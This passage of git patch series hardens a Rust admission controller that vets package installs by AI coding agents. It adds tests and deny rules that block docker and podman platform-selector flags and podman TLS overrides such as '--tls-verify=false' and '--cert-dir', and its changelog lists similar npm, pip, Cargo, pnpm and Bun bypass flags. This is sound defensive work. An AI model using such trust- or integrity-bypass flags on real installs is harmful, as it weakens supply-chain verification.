integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust-authority semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 831006629d5fc3530ca20038dae2388115f4e26b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:13:42 +0900 Subject: [PATCH 136/247] test(security): reject caller-selected OCI platform variants --- .../tests/oci_platform_variant_contract.rs | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs new file mode 100644 index 00000000..132abe18 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -0,0 +1,84 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn caller_selected_platform_is_not_authorized_by_an_index_digest() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent + .argv + .insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "a caller-selected OCI platform must require separately approved artifact identity" + ); +} + +#[test] +fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { + let (policy, intent) = approved_oci_pull("docker"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-platform-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 17ca3b913e9b10d4d20e22205ee5d616108daf1c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:15:19 +0900 Subject: [PATCH 137/247] fix(security): fail closed on OCI platform selection --- .../src/artifact_variant.rs | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 crates/agent-artifact-admission/src/artifact_variant.rs diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs new file mode 100644 index 00000000..3f175a34 --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -0,0 +1,21 @@ +use crate::InstallIntent; + +/// Return whether an OCI pull asks the client to select a platform variant that +/// is not represented by the approved artifact coordinate. +pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "docker" | "podman") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments + .iter() + .any(|argument| argument == "--platform" || argument.starts_with("--platform=")) +} From b84a30cd105a966f259a8eea463e6cd7927a5867 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:15:41 +0900 Subject: [PATCH 138/247] fix(security): bind OCI platform choice to artifact policy --- crates/agent-artifact-admission/src/lib.rs | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 0e92280c..02652f74 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod admission; +mod artifact_variant; mod audit; mod config; mod http; @@ -19,4 +20,19 @@ pub use config::{ parse_cli_args, validate_service_config, }; pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; -pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; +pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision( + policy: &AdmissionPolicy, + intent: &InstallIntent, +) -> AdmissionDecision { + let mut decision = policy::admission_decision(policy, intent); + if artifact_variant::requests_unapproved_oci_platform(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + decision +} From 890aba07f2b3e37a29337c1971f932bbd965e6b6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:16:03 +0900 Subject: [PATCH 139/247] test(architecture): keep artifact variant policy in domain --- .../agent-artifact-admission/tests/ddd_architecture_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 7a568fc9..7781281c 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -6,6 +6,7 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), + ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From 8d3663d0b3f7396031212a38a411db1de80e1502 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:17:01 +0900 Subject: [PATCH 140/247] docs(security): trace OCI platform artifact identity boundary --- .../oci-platform-artifact-identity.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/oci-platform-artifact-identity.md diff --git a/docs/doctoring/oci-platform-artifact-identity.md b/docs/doctoring/oci-platform-artifact-identity.md new file mode 100644 index 00000000..dea1c509 --- /dev/null +++ b/docs/doctoring/oci-platform-artifact-identity.md @@ -0,0 +1,33 @@ +# OCI platform selection and artifact identity + +Verified 2026-09-04. This note records the security reason Wardnet's Agent Artifact Admission boundary rejects caller-selected OCI pull platforms until platform-specific artifact identity is represented in a versioned policy contract. It does not claim OCI conformance or runtime image verification; the execution broker and quarantine runtime still verify the retrieved object and preserve request/evidence identity. + +## Problem + +The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept a caller-selected platform for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. + +If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add `--platform`, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. + +## Decision + +Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. + +The compatible control remains an exact digest pull with no caller-selected platform. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. + +This is intentionally an admission-only control. Wardnet does not copy OCI resolution or hostile-execution logic from its canonical owners, and an admission `allow` remains insufficient proof that registry retrieval returned the expected executable bytes. + +## Executable evidence + +- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can currently append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. +- Causal source repair: `artifact_variant.rs` identifies the unrepresented OCI platform selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- DDD fitness: `ddd_architecture_contract.rs` treats `artifact_variant.rs` as a domain source and keeps Axum, Tokio, filesystem, network, path, and adapter concerns out of the policy boundary. + +Exact current-head CI/security/coverage/review evidence remains mandatory; queued, absent, predecessor, or wrong-PR same-SHA results do not establish GREEN. + +## APA 7 references + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +Open Container Initiative. (2026). *OCI Image Index Specification*. https://github.com/opencontainers/image-spec/blob/main/image-index.md + +Open Container Initiative. (2026). *OCI Distribution Specification*. https://github.com/opencontainers/distribution-spec/blob/main/spec.md From 75f003e4c76182280011ca7ef63a952b7ab89b5a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:22:08 +0900 Subject: [PATCH 141/247] test(security): cover OCI platform guard branches --- .../tests/oci_platform_variant_contract.rs | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 132abe18..0dc11241 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -27,6 +27,63 @@ fn caller_selected_platform_is_not_authorized_by_an_index_digest() { ); } +#[test] +fn podman_platform_selection_is_bound_by_the_same_oci_policy() { + let (policy, mut intent) = approved_oci_pull("podman"); + intent + .argv + .insert(2, "--platform=linux/amd64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn separated_platform_value_does_not_duplicate_artifact_reason() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.insert(2, "--platform".to_string()); + intent.argv.insert(3, "linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| reason.as_str() == "artifact_not_approved") + .count(), + 1, + "platform hardening must preserve deterministic reason-code de-duplication" + ); +} + +#[test] +fn non_pull_oci_command_remains_owned_by_the_existing_command_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv[1] = "push".to_string(); + intent + .argv + .insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + #[test] fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { let (policy, intent) = approved_oci_pull("docker"); @@ -37,6 +94,22 @@ fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { assert!(decision.reason_codes.is_empty()); } +#[test] +fn missing_executable_remains_fail_closed_without_panicking_variant_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.clear(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_executable") + ); +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From e24f8eaca488ae610477967aad7c697433e3b199 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:08:41 +0900 Subject: [PATCH 142/247] test(security): reject Podman OCI selector aliases --- .../tests/oci_platform_variant_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 0dc11241..60713388 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -45,6 +45,29 @@ fn podman_platform_selection_is_bound_by_the_same_oci_policy() { ); } +#[test] +fn podman_platform_selector_aliases_require_separately_approved_artifact_identity() { + for selector in ["--arch=arm64", "--os=linux", "--variant=v7"] { + let (policy, mut intent) = approved_oci_pull("podman"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Podman selector {selector} must not inherit approval from an index-level artifact coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "Podman selector {selector} must remain in the artifact-identity reason domain" + ); + } +} + #[test] fn separated_platform_value_does_not_duplicate_artifact_reason() { let (policy, mut intent) = approved_oci_pull("docker"); From 950e1059dbdadc3e045259c7f987332f98ac9b2f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:08:56 +0900 Subject: [PATCH 143/247] fix(security): bind Podman OCI selector aliases --- .../src/artifact_variant.rs | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 3f175a34..a53bd790 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -15,7 +15,15 @@ pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { return false; } - arguments - .iter() - .any(|argument| argument == "--platform" || argument.starts_with("--platform=")) + arguments.iter().any(|argument| { + argument == "--platform" + || argument.starts_with("--platform=") + || (executable == "podman" + && (argument == "--arch" + || argument.starts_with("--arch=") + || argument == "--os" + || argument.starts_with("--os=") + || argument == "--variant" + || argument.starts_with("--variant="))) + }) } From 09a2e50077cfa6871466751facbf779c2af3c096 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:09:34 +0900 Subject: [PATCH 144/247] docs(security): trace Podman OCI selector authority --- docs/doctoring/oci-platform-artifact-identity.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/docs/doctoring/oci-platform-artifact-identity.md b/docs/doctoring/oci-platform-artifact-identity.md index dea1c509..33573a3f 100644 --- a/docs/doctoring/oci-platform-artifact-identity.md +++ b/docs/doctoring/oci-platform-artifact-identity.md @@ -4,22 +4,24 @@ Verified 2026-09-04. This note records the security reason Wardnet's Agent Artif ## Problem -The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept a caller-selected platform for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. +The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept caller-selected platform selectors for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. Podman's current `podman pull` contract independently exposes `--platform`, `--arch`, `--os`, and `--variant`; its documentation states that these options override the host platform attributes used to select the image. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. -If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add `--platform`, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. +If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add any of those selectors, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. ## Decision -Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. +Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. For Podman, the equivalent `--arch`, `--os`, and `--variant` selector forms also fail closed. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. -The compatible control remains an exact digest pull with no caller-selected platform. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. +The compatible control remains an exact digest pull with no caller-selected platform selector. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. This is intentionally an admission-only control. Wardnet does not copy OCI resolution or hostile-execution logic from its canonical owners, and an admission `allow` remains insufficient proof that registry retrieval returned the expected executable bytes. ## Executable evidence -- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can currently append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. -- Causal source repair: `artifact_variant.rs` identifies the unrepresented OCI platform selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. +- Initial causal source repair: `artifact_variant.rs` identifies the unrepresented OCI `--platform` selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- Alias RED `e24f8eaca488ae610477967aad7c697433e3b199`: the same contract proves Podman attached `--arch=`, `--os=`, and `--variant=` selectors would otherwise retain an `allow` decision despite selecting an unreviewed platform variant. +- Alias GREEN `950e1059dbdadc3e045259c7f987332f98ac9b2f`: the bounded domain predicate recognizes those Podman selector aliases without widening the public reason-code surface or affecting non-Podman command ownership. - DDD fitness: `ddd_architecture_contract.rs` treats `artifact_variant.rs` as a domain source and keeps Axum, Tokio, filesystem, network, path, and adapter concerns out of the policy boundary. Exact current-head CI/security/coverage/review evidence remains mandatory; queued, absent, predecessor, or wrong-PR same-SHA results do not establish GREEN. @@ -28,6 +30,8 @@ Exact current-head CI/security/coverage/review evidence remains mandatory; queue Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + Open Container Initiative. (2026). *OCI Image Index Specification*. https://github.com/opencontainers/image-spec/blob/main/image-index.md Open Container Initiative. (2026). *OCI Distribution Specification*. https://github.com/opencontainers/distribution-spec/blob/main/spec.md From 857da846ed32e633cc3dec6d744b14c2b01afe8a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:09:52 +0900 Subject: [PATCH 145/247] docs(changelog): record OCI selector alias hardening --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a2412ad0..9b34359d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,10 +6,11 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 186be292eea13a8cc97c10e09208a5360a2a5996 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:10:29 +0900 Subject: [PATCH 146/247] test(security): reject Podman registry TLS trust overrides --- .../tests/oci_transport_trust_contract.rs | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs new file mode 100644 index 00000000..187c5ae5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -0,0 +1,101 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn podman_cannot_disable_registry_tls_verification() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, "--tls-verify=false".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected TLS verification disablement must not inherit registry trust from policy" + ); +} + +#[test] +fn podman_cannot_select_an_unreviewed_registry_certificate_directory() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--cert-dir=/tmp/unreviewed-certs".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root") + ); +} + +#[test] +fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, "--tls-verify=true".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_podman_pull() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-transport-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["podman".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-transport-trust".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["podman".to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7725ae8a8583f53c78c02df7296069dc4c270b37 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:10:55 +0900 Subject: [PATCH 147/247] test(security): cover Podman TLS false spellings --- .../tests/oci_transport_trust_contract.rs | 30 ++++++++++++------- 1 file changed, 19 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index 187c5ae5..ab13af33 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -10,19 +10,27 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn podman_cannot_disable_registry_tls_verification() { - let (policy, mut intent) = approved_podman_pull(); - intent.argv.insert(2, "--tls-verify=false".to_string()); + for disabled in ["false", "FALSE", "f", "0"] { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, format!("--tls-verify={disabled}")); - let decision = 